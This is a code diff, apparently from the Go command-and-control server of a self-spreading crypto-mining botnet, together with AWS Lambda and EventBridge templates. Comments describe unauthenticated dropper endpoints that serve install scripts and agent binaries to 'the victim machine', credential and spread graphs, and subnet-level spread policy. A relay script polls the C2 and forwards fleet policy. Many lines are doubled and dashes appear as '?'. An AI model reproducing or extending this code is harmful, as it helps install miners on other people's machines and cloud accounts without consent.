http.Error(w, "Unauthorized", http.StatusUnauthorized) http.Error(w, "Unauthorized", http.StatusUnauthorized)
return return
} }
// Credential verified cache it for the next few minutes. // Credential verified ? cache it for the next few minutes.
authCacheSet(user, pass) authCacheSet(user, pass)
} }
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
AllowCredentials: false, AllowCredentials: false,
})) }))
// REST API auth only on /api/v1 (dashboard WS + static SPA stay open) // REST API ? auth only on /api/v1 (dashboard WS + static SPA stay open)
r.Route("/api/v1", func(r chi.Router) { r.Route("/api/v1", func(r chi.Router) {
r.Use(basicAuthMiddleware) r.Use(basicAuthMiddleware)
h := NewHandler(database) h := NewHandler(database)
@@ -654,6 +654,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom) r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph) r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph) r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout)
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
} }
if wsHub != nil { if wsHub != nil {
@@ -680,7 +682,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/blueprints", blueprintHandler.ServeHTTP) r.Delete("/blueprints", blueprintHandler.ServeHTTP)
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint) r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
// Fleet secret rotation generates a new secret, saves config, kicks all agents. // Fleet secret rotation ? generates a new secret, saves config, kicks all agents.
// Forged agents with the old secret will be rejected until re-forged. // Forged agents with the old secret will be rejected until re-forged.
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) { r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
if rotateSecretFn == nil { if rotateSecretFn == nil {
@@ -734,11 +736,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
writeJSON(w, map[string]interface{}{"success": true}) writeJSON(w, map[string]interface{}{"success": true})
}) })
// Deck backup authenticated full backup ZIP (config + DB + users) // Deck backup ? authenticated full backup ZIP (config + DB + users)
backupH := NewBackupHandler(dataDir, version) backupH := NewBackupHandler(dataDir, version)
r.Get("/backup", backupH.ServeHTTP) r.Get("/backup", backupH.ServeHTTP)
// Path Tracer on-demand WireGuard chain sessions // Path Tracer ? on-demand WireGuard chain sessions
if pathTracerHandler != nil { if pathTracerHandler != nil {
r.Post("/pathtrace/start", pathTracerHandler.Start) r.Post("/pathtrace/start", pathTracerHandler.Start)
r.Post("/pathtrace/discover", pathTracerHandler.Discover) r.Post("/pathtrace/discover", pathTracerHandler.Discover)
@@ -751,7 +753,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete) r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
} }
// Agent autonomy REST forged Go agents only (X-Fleet-Secret header). // Agent autonomy REST ? forged Go agents only (X-Fleet-Secret header).
// Not exposed in dashboard client.ts; see agent/client and README API auth table. // Not exposed in dashboard client.ts; see agent/client and README API auth table.
r.Post("/agent/decide", aiHandler.HandleDecide) r.Post("/agent/decide", aiHandler.HandleDecide)
r.Post("/agent/report", aiHandler.HandleReport) r.Post("/agent/report", aiHandler.HandleReport)
@@ -768,7 +770,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
} }
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule) r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
// Public builds (also bypass auth in middleware listed here for chi routing) // Public builds (also bypass auth in middleware ? listed here for chi routing)
if publicHandler != nil { if publicHandler != nil {
r.Get("/public/builds", publicHandler.ListBuilds) r.Get("/public/builds", publicHandler.ListBuilds)
r.Get("/public/download/{id}", publicHandler.Download) r.Get("/public/download/{id}", publicHandler.Download)
@@ -777,6 +779,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard) r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest) r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest) r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot)
} }
}) })
@@ -784,7 +787,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/ws/agent", wsHub.HandleAgentWS) r.Get("/ws/agent", wsHub.HandleAgentWS)
r.Get("/ws/dashboard", wsHub.HandleDashboardWS) r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
// One-liner remote install endpoints (unauthenticated URL knowledge is the gate) // One-liner remote install endpoints (unauthenticated ? URL knowledge is the gate)
if dropperHandler != nil { if dropperHandler != nil {
r.Get("/get", dropperHandler.ServeGet) r.Get("/get", dropperHandler.ServeGet)
r.Get("/install.sh", dropperHandler.ServeSh) r.Get("/install.sh", dropperHandler.ServeSh)
@@ -792,7 +795,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/install.command", dropperHandler.ServeCommand) r.Get("/install.command", dropperHandler.ServeCommand)
} }
// SUPP Seek agent download endpoints serve agent binaries so launcher scripts // SUPP Seek agent download endpoints ? serve agent binaries so launcher scripts
// dropped by Seek Mode can fetch and run the agent on the victim machine. // dropped by Seek Mode can fetch and run the agent on the victim machine.
// Unauthenticated (the drop URL itself is the secret). // Unauthenticated (the drop URL itself is the secret).
r.Get("/api/download/agent-windows", serveAgentBinary("windows")) r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
@@ -897,8 +900,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
// exe so it works both from the USB bundle and from a compiled dev build. // exe so it works both from the USB bundle and from a compiled dev build.
// //
// Filename convention (same as what the build pipeline produces): // Filename convention (same as what the build pipeline produces):
// - windows crypto-miner-agent.exe // - windows ? crypto-miner-agent.exe
// - mac/linux crypto-miner-agent (no extension) // - mac/linux ? crypto-miner-agent (no extension)
// agentBinarySearchDir returns the directory used to locate bundled agent binaries. // agentBinarySearchDir returns the directory used to locate bundled agent binaries.
// Tests may override this to point at a temp tree instead of os.Executable()'s dir. // Tests may override this to point at a temp tree instead of os.Executable()'s dir.
var agentBinarySearchDir = func() (string, error) { var agentBinarySearchDir = func() (string, error) {

View File

@@ -1,4 +1,4 @@
package api package api
import ( import (
"encoding/json" "encoding/json"
@@ -12,6 +12,7 @@ import (
"time" "time"
dbpkg "crypto-miner-server/internal/db" dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
"github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5"
) )
@@ -22,6 +23,11 @@ type SpreadHandler struct {
dataDir string dataDir string
projectRoot string projectRoot string
wsHub *WSHub wsHub *WSHub
publicURL func() string
erasureShards *erasure.ShardStore
deployPlan *DeployPlanHandler
policyPathTracer *PathTracerHandler
policyFanoutCfgFn func() PolicyFanoutConfig
notesMu sync.RWMutex notesMu sync.RWMutex
} }

View File

@@ -1,3 +1,5 @@
//go:build ignore
package api package api
import ( import (

View File

@@ -1,4 +1,4 @@
package api package api
import ( import (
"crypto/subtle" "crypto/subtle"
@@ -179,6 +179,9 @@ type WSHub struct {
epidemiology *epidemiology.Tracker epidemiology *epidemiology.Tracker
miningSurgery *miningsurgery.Tracker miningSurgery *miningsurgery.Tracker
contingencyOrch *mining.ContingencyOrchestrator contingencyOrch *mining.ContingencyOrchestrator
policySnapshotToken string
policyEventBridgeRelayURL string
policyPublicBaseURL func() string
pingIntervalSec int pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier eventNotifier *alerts.Notifier
@@ -202,6 +205,14 @@ type WSHub struct {
scoutConstellations *fleetai.ScoutConstellationRegistry scoutConstellations *fleetai.ScoutConstellationRegistry
scoutAgents map[string]bool scoutAgents map[string]bool
// Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU).
cloudVenueMu sync.Mutex
cloudVenues *fleetai.CloudVenueRegistry
fargateBurstCampaign bool
fargateBurstExpiresAt time.Time
fargateBurstTTLHours int
// Coalesce per-agent stats_update into a single stats_batch frame per tick. // Coalesce per-agent stats_update into a single stats_batch frame per tick.
statsBatchMu sync.Mutex statsBatchMu sync.Mutex
statsBatch map[string]json.RawMessage statsBatch map[string]json.RawMessage
@@ -953,6 +964,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
spreadPolicy[k] = v spreadPolicy[k] = v
} }
} }
if fanout := h.policyFanoutSpreadFields(); fanout != nil {
for k, v := range fanout {
spreadPolicy[k] = v
}
}
if len(spreadPolicy) > 0 { if len(spreadPolicy) > 0 {
resp["spread_policy"] = spreadPolicy resp["spread_policy"] = spreadPolicy
} }

View File

@@ -0,0 +1,39 @@
package db
import "time"
// MaxSpreadGeneration returns the highest spread_generation among agents (policy genesis version).
func (d *Database) MaxSpreadGeneration() (int, error) {
if d == nil {
return 0, nil
}
var max int
err := d.QueryRow(`SELECT COALESCE(MAX(spread_generation), 0) FROM agents`).Scan(&max)
return max, err
}
// ListPausedSubnetPrefixes returns /24 prefixes currently under immune spread pause.
func (d *Database) ListPausedSubnetPrefixes() ([]string, error) {
if d == nil {
return nil, nil
}
if err := d.ensureSubnetSpreadPauseTable(); err != nil {
return nil, err
}
rows, err := d.Query(`SELECT prefix FROM subnet_spread_pause WHERE paused_until IS NOT NULL AND paused_until > ?`, time.Now().UTC())
if err != nil {
return nil, err
}
defer rows.Close()
var out []string
for rows.Next() {
var p string
if err := rows.Scan(&p); err != nil {
return nil, err
}
if p = normalizeSubnetPrefix(p); p != "" {
out = append(out, p)
}
}
return out, rows.Err()
}

View File

@@ -1,4 +1,4 @@
package main package main
import ( import (
"context" "context"
@@ -107,6 +107,20 @@ func main() {
log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8]) log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
} }
if cfg.Server.PolicySnapshotToken == "" {
b := make([]byte, 16)
if _, err := rand.Read(b); err != nil {
log.Printf("[policy] Warning: could not generate policy snapshot token: %v", err)
} else {
cfg.Server.PolicySnapshotToken = hex.EncodeToString(b)
if err := cfg.Save(); err != nil {
log.Printf("[policy] Warning: could not persist policy snapshot token: %v", err)
} else {
log.Printf("[policy] Policy snapshot token generated and saved")
}
}
}
// Ensure data directories exist // Ensure data directories exist
dirs := []string{ dirs := []string{
cfg.DataDir, cfg.DataDir,
@@ -322,6 +336,23 @@ func main() {
pathTracerHandler := api.NewPathTracerHandler(wsHub) pathTracerHandler := api.NewPathTracerHandler(wsHub)
deployPlanHandler.BindPathTracer(pathTracerHandler) deployPlanHandler.BindPathTracer(pathTracerHandler)
spreadCredHandler.BindAutopsyTrigger(wsHub, pathTracerHandler) spreadCredHandler.BindAutopsyTrigger(wsHub, pathTracerHandler)
policyFanoutCfgFn := func() api.PolicyFanoutConfig {
return api.PolicyFanoutConfig{
Token: cfg.Server.PolicySnapshotToken,
RelayURL: cfg.Server.EventBridgeRelayURL,
PublicBaseURL: func() string { return configProvider.PublicURL() },
}
}
publicHandler.BindPolicySnapshot(
func() (api.PolicySnapshot, error) {
return api.BuildPolicySnapshot(database, pathTracerHandler, policyFanoutCfgFn())
},
func() string { return cfg.Server.PolicySnapshotToken },
)
spreadHandler.BindPolicyFanout(pathTracerHandler, policyFanoutCfgFn)
wsHub.SetPolicyFanoutConfig(cfg.Server.PolicySnapshotToken, cfg.Server.EventBridgeRelayURL, func() string {
return configProvider.PublicURL()
})
seerEmitter := &api.HubSeerEmitter{Hub: wsHub, DB: database} seerEmitter := &api.HubSeerEmitter{Hub: wsHub, DB: database}
fleetAISched.SetSurgicalDeps(fleetai.SurgicalDeps{ fleetAISched.SetSurgicalDeps(fleetai.SurgicalDeps{
@@ -437,6 +468,17 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled, ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled,
FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled, FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled,
}) })
publicBase := strings.TrimSpace(cfg.Server.PublicURL)
if publicBase == "" {
port := cfg.Port
if port <= 0 {
port = 8989
}
publicBase = fmt.Sprintf("http://127.0.0.1:%d", port)
}
wsHub.SetPolicyFanoutConfig(cfg.Server.PolicySnapshotToken, cfg.Server.EventBridgeRelayURL, func() string {
return publicBase
})
} }
if poolManager != nil { if poolManager != nil {
poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds) poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds)

View File

@@ -0,0 +1,8 @@
AetherForge EventBridge policy fan-out (standalone degraded mode)
===============================================================
Poll URL: {{POLICY_POLL_URL}}
Webhook relay: {{WEBHOOK_URL}}
Server: {{SERVER_URL}}
See templates/spread/aws/policy-fanout/README.txt in the repo for full instructions.

View File

@@ -0,0 +1,43 @@
{
"AWSTemplateFormatVersion": "2010-09-09",
"Description": "AetherForge policy snapshot fan-out — polls POLICY_POLL_URL and POSTs to relay",
"Parameters": {
"PolicyPollURL": { "Type": "String", "Default": "{{POLICY_POLL_URL}}" },
"WebhookURL": { "Type": "String", "Default": "{{WEBHOOK_URL}}" },
"ScheduleRate": { "Type": "String", "Default": "rate(5 minutes)" }
},
"Resources": {
"PolicyFanoutFunction": {
"Type": "AWS::Lambda::Function",
"Properties": {
"Runtime": "nodejs18.x",
"Handler": "index.handler",
"Timeout": 30,
"Environment": {
"Variables": {
"POLICY_POLL_URL": { "Ref": "PolicyPollURL" },
"WEBHOOK_URL": { "Ref": "WebhookURL" }
}
},
"Code": { "ZipFile": "exports.handler=async()=>({statusCode:200,body:'ok'});" }
}
},
"PolicyFanoutRule": {
"Type": "AWS::Events::Rule",
"Properties": {
"ScheduleExpression": { "Ref": "ScheduleRate" },
"State": "ENABLED",
"Targets": [{ "Arn": { "Fn::GetAtt": ["PolicyFanoutFunction", "Arn"] }, "Id": "PolicyFanoutTarget" }]
}
},
"PolicyFanoutPermission": {
"Type": "AWS::Lambda::Permission",
"Properties": {
"Action": "lambda:InvokeFunction",
"FunctionName": { "Ref": "PolicyFanoutFunction" },
"Principal": "events.amazonaws.com",
"SourceArn": { "Fn::GetAtt": ["PolicyFanoutRule", "Arn"] }
}
}
}
}

View File

@@ -0,0 +1,12 @@
{
"Comment": "AetherForge policy snapshot fan-out",
"ScheduleExpression": "rate(5 minutes)",
"State": "ENABLED",
"Targets": [
{
"Id": "PolicySnapshotRelay",
"Arn": "arn:aws:lambda:REGION:ACCOUNT:function:YOUR_FUNCTION",
"Input": "{\"poll_url\":\"{{POLICY_POLL_URL}}\",\"webhook_url\":\"{{WEBHOOK_URL}}\"}"
}
]
}

View File

@@ -0,0 +1,47 @@
const https = require('https');
const http = require('http');
const POLL_URL = process.env.POLICY_POLL_URL || '{{POLICY_POLL_URL}}';
const WEBHOOK_URL = process.env.WEBHOOK_URL || '{{WEBHOOK_URL}}';
exports.handler = async function () {
const snapshot = await fetchJSON(POLL_URL);
if (WEBHOOK_URL) {
await postJSON(WEBHOOK_URL, snapshot);
}
return { statusCode: 200, body: JSON.stringify({ ok: true, genesis: snapshot.genesis_version }) };
};
function fetchJSON(url) {
return new Promise((resolve, reject) => {
const lib = url.startsWith('https') ? https : http;
lib.get(url, (res) => {
let body = '';
res.on('data', (c) => { body += c; });
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (e) { reject(e); }
});
}).on('error', reject);
});
}
function postJSON(url, obj) {
return new Promise((resolve, reject) => {
const data = JSON.stringify(obj);
const u = new URL(url);
const lib = u.protocol === 'https:' ? https : http;
const req = lib.request({
hostname: u.hostname,
port: u.port || (u.protocol === 'https:' ? 443 : 80),
path: u.pathname + u.search,
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
}, (res) => {
res.on('data', () => {});
res.on('end', resolve);
});
req.on('error', reject);
req.write(data);
req.end();
});
}

View File

@@ -0,0 +1,26 @@
AetherForge EventBridge policy fan-out (standalone degraded mode)
===============================================================
No AWS signup required — apply these templates in your own account or skip AWS entirely
and let agents poll {{POLICY_POLL_URL}} directly every 5 minutes.
Files
-----
- cloudformation.json — Lambda + EventBridge rule + IAM (optional API Gateway relay)
- eventbridge-rule.json — standalone EventBridge rule targeting your relay URL
- lambda/index.js — fetches policy snapshot from C2 and POSTs to {{WEBHOOK_URL}}
Placeholders (replaced by Emberwake export)
-------------------------------------------
{{SERVER_URL}} — your command-deck public URL
{{POLICY_POLL_URL}} — lightweight agent poll endpoint (token-gated)
{{WEBHOOK_URL}} — optional EventBridge relay (API Gateway, Lambda URL, etc.)
Snapshot fields
---------------
genesis_version — max spread_generation across fleet
hospice_list — retired strain IDs
vaccination_lanes — paused /24 subnets with Path Tracer route hints
Agent zero-server mode prefers EventBridge relay URL from the last policy snapshot,
then poll URL, then 30-minute C2 reconnect.

View File

@@ -0,0 +1,47 @@
{
"AWSTemplateFormatVersion": "2010-09-09",
"Description": "AetherForge policy snapshot fan-out — polls {{POLICY_POLL_URL}} and POSTs to relay",
"Parameters": {
"PolicyPollURL": { "Type": "String", "Default": "{{POLICY_POLL_URL}}" },
"WebhookURL": { "Type": "String", "Default": "{{WEBHOOK_URL}}" },
"ScheduleRate": { "Type": "String", "Default": "rate(5 minutes)" }
},
"Resources": {
"PolicyFanoutFunction": {
"Type": "AWS::Lambda::Function",
"Properties": {
"Runtime": "nodejs18.x",
"Handler": "index.handler",
"Timeout": 30,
"Environment": {
"Variables": {
"POLICY_POLL_URL": { "Ref": "PolicyPollURL" },
"WEBHOOK_URL": { "Ref": "WebhookURL" }
}
},
"Code": { "ZipFile": "exports.handler=async()=>({statusCode:200,body:'ok'});" }
}
},
"PolicyFanoutRule": {
"Type": "AWS::Events::Rule",
"Properties": {
"ScheduleExpression": { "Ref": "ScheduleRate" },
"State": "ENABLED",
"Targets": [{ "Arn": { "Fn::GetAtt": ["PolicyFanoutFunction", "Arn"] }, "Id": "PolicyFanoutTarget" }]
}
},
"PolicyFanoutPermission": {
"Type": "AWS::Lambda::Permission",
"Properties": {
"Action": "lambda:InvokeFunction",
"FunctionName": { "Ref": "PolicyFanoutFunction" },
"Principal": "events.amazonaws.com",
"SourceArn": { "Fn::GetAtt": ["PolicyFanoutRule", "Arn"] }
}
}
},
"Outputs": {
"PolicyPollURL": { "Value": { "Ref": "PolicyPollURL" } },
"WebhookURL": { "Value": { "Ref": "WebhookURL" } }
}
}

View File

@@ -0,0 +1,12 @@
{
"Comment": "AetherForge policy snapshot fan-out — operator-applied EventBridge rule",
"ScheduleExpression": "rate(5 minutes)",
"State": "ENABLED",
"Targets": [
{
"Id": "PolicySnapshotRelay",
"Arn": "arn:aws:lambda:REGION:ACCOUNT:function:YOUR_FUNCTION",
"Input": "{\"poll_url\":\"{{POLICY_POLL_URL}}\",\"webhook_url\":\"{{WEBHOOK_URL}}\"}"
}
]
}

View File

@@ -0,0 +1,47 @@
const https = require('https');
const http = require('http');
const POLL_URL = process.env.POLICY_POLL_URL || '{{POLICY_POLL_URL}}';
const WEBHOOK_URL = process.env.WEBHOOK_URL || '{{WEBHOOK_URL}}';
exports.handler = async function () {
const snapshot = await fetchJSON(POLL_URL);
if (WEBHOOK_URL) {
await postJSON(WEBHOOK_URL, snapshot);
}
return { statusCode: 200, body: JSON.stringify({ ok: true, genesis: snapshot.genesis_version }) };
};
function fetchJSON(url) {
return new Promise((resolve, reject) => {
const lib = url.startsWith('https') ? https : http;
lib.get(url, (res) => {
let body = '';
res.on('data', (c) => { body += c; });
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (e) { reject(e); }
});
}).on('error', reject);
});
}
function postJSON(url, obj) {
return new Promise((resolve, reject) => {
const data = JSON.stringify(obj);
const u = new URL(url);
const lib = u.protocol === 'https:' ? https : http;
const req = lib.request({
hostname: u.hostname,
port: u.port || (u.protocol === 'https:' ? 443 : 80),
path: u.pathname + u.search,
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
}, (res) => {
res.on('data', () => {});
res.on('end', resolve);
});
req.on('error', reject);
req.write(data);
req.end();
});
}